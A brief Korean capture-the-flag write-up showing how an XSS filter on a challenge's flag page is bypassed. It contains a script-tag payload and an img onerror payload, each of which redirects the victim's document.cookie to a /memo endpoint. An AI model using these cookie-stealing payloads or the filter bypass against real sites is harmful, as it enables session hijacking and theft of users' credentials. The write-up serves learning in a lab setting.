문제 사이트에 접속하면 전과 같이 3개의 연결된 페이지 목록이 있습니다.
flag 페이지에 들어가서 동일하게 XSS 공격을 시도해보면
<script>location.href = "/memo?memo=" + document.cookie;</script>
공격에 실패해서 FLAG가 출력되지 않았습니다.
XSS 필터링을 걸려있어서 우회를 해서 공격을 해야 할 거 같습니다.
onerror 이벤트 핸들러를 이용해서 우회 코드를 작성해보면
<img src="valid.jpg" onerror="location.href = '/memo?memo=' + document.cookie">
없는 이미지는 로드하게 하여 데이터 로드를 실패하게 한 후 뒤에 코드가 실행되게 하였습니다.
우회 코드로 다시 XSS 공격을 시도해보면
이번에는 공격에 성공해서 FLAG가 출력되었습니다.